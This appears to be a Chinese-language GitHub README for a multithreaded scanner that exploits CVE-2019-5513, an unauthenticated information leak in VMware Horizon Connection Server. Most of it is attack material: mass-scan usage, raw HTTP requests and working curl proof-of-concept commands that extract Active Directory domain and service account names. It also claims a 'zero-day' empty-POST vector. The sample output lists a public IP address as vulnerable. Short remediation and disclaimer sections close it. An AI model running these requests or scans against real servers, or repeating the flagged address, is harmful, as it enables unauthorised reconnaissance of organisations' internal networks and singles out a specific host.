一个高性能多线程扫描器,用于检测 VMware Horizon Connection Server 的 /broker/xml 端点中无需身份验证即可触发的信息泄露漏洞。
VMware Horizon Connection Server 暴露了一个 XML API 端点(/broker/xml),该端点无需身份验证即可泄露敏感的内部配置信息。此扫描器通过测试两种攻击向量来快速识别存在漏洞的服务器:
get-configuration XML 命令。| 属性 | 值 |
|---|---|
| CVE | CVE-2019-5513 |
| CVSS 评分 | 5.3(中危) |
| 攻击向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| 受影响产品 | VMware Horizon Connection Server 7.x(低于 7.8)、7.5.x(低于 7.5.2)、6.x(低于 6.2.8) |
| 泄露信息 | Active Directory 域名、服务帐户名称(机器帐户)、内部主机名、网关 IP 地址 |
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>[email protected]</name>
</broker-service-principal>
<domain>corporate-domain.example.com</domain>
</configuration>
</broker>
⚡ 功能特性
- 极速扫描 — 多线程架构(默认 50 个并发线程)
- 双协议测试 — 同时检测 HTTPS(443 端口)和 HTTP(80 端口)
- 两种攻击向量 — 测试空 POST 请求体(零日)+ 精心构造的 XML(CVE-2019-5513)
- 低超时设置 — 每个请求最长 5 秒,连接超时 3 秒
- 清晰输出 — 结果以颜色区分,并显示存在漏洞主机的完整 XML 响应
- 结果导出 — 使用 -o 选项将所有发现保存到文件
- 零依赖 — 仅使用 curl(大多数系统的标准组件)
🚀 安装
bash
# Clone the repository
git clone https://github.com/sudosu01/CVE-2019-5513-scanner.git
cd vmware-horizon-scanner
# Make the script executable
chmod +x broker.sh
📖 使用方法
基本扫描
bash
./broker.sh -d targets.txt
使用自定义线程数扫描(更快)
bash
./broker.sh -d targets.txt -t 100
扫描并保存结果
bash
./broker.sh -d targets.txt -t 100 -o results.txt
命令行选项
选项 描述
-d <file> 包含 IP 地址/主机名列表的输入文件(每行一个)
-t <num> 线程数(默认:50)
-o <file> 用于保存结果的输出文件
-h 显示帮助信息
输入文件格式(targets.txt)
text
# Comments start with #
185.171.101.236
192.168.1.100
10.0.0.50
example-vmware.com
📊 示例输出
text
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
VMware Horizon /broker/xml Vulnerability Scanner
Multi-Threaded Mode - 50 threads
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] Testing: Empty POST (Zero-Day) + Crafted XML (CVE-2019-5513)
[*] Protocols: HTTPS + HTTP (both tested simultaneously)
[*] Scanning 3 hosts...
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 185.171.101.236 | VULNERABLE | HTTPS | EMPTY_POST
Response:
<?xml version="1.0" encoding="utf-8"?>
<broker>
<configuration>
<broker-service-principal>
<type>kerberos</type>
<name>TEST-SERVER$@DOMAIN</name>
</broker-service-principal>
</configuration>
</broker>
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[-] 192.168.1.100 | NOT VULNERABLE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] 10.0.0.50 | VULNERABLE | HTTP | CRAFTED_XML
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[*] SCAN COMPLETE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Total hosts: 3
Vulnerable: 2
Not vulnerable: 1
Time taken: 4 seconds
🔬 使用 Burp Suite 进行测试
如需手动测试,以下是原始请求:
测试 1:空 POST 请求体(零日)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 0
测试 2:精心构造的 XML(CVE-2019-5513)
http
POST /broker/xml HTTP/1.1
Host: target.example.com
Content-Type: text/xml
User-Agent: VMware-Horizon-Client
Content-Length: 115
<?xml version='1.0' encoding='UTF-8'?><broker version='10.0'><get-configuration></get-configuration></broker>
📝 PoC curl 命令
空 POST 请求体
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
-d ''
精心构造的 XML
bash
curl -k -X POST "https://target/broker/xml" \
-H "Content-Type: text/xml" \
-H "User-Agent: VMware-Horizon-Client" \
--data-binary '<?xml version="1.0" encoding="UTF-8"?><broker version="10.0"><get-configuration></get-configuration></broker>'
🛡️ 修复建议
将 VMware Horizon Connection Server 升级到已修补的版本:
版本 修复版本
7.x 7.8 或更高版本
7.5.x 7.5.2 或更高版本
6.x 6.2.8 或更高版本
其他缓解措施:
- 实施网络访问控制,限制对 /broker/xml 端点的访问
- 使用 WAF 规则阻止对该端点的未经验证请求
- 监控发送到 /broker/xml 的可疑 POST 请求
🙏 致谢
本工具基于以下安全研究人员的研究:
CVE-2019-5513 原始发现者 — Atredis Partners
Critical Start 的 Cory Mathews(独立发现)
本工具中的零日发现
空 POST 请求体攻击向量是在额外研究过程中发现的。原始 CVE 需要精心构造的 XML 载荷;本工具还测试空请求体方法,该方法无需构造载荷,执行起来更加简单。
⚠️ 免责声明
本工具仅供教育目的和授权安全测试使用。未经授权扫描您不拥有或未经明确许可测试的系统可能违反法律法规。作者不对任何滥用行为承担责任。
📄 许可证
MIT 许可证
⭐ 支持
如果您觉得本工具有用,请在 GitHub 上给它点个星!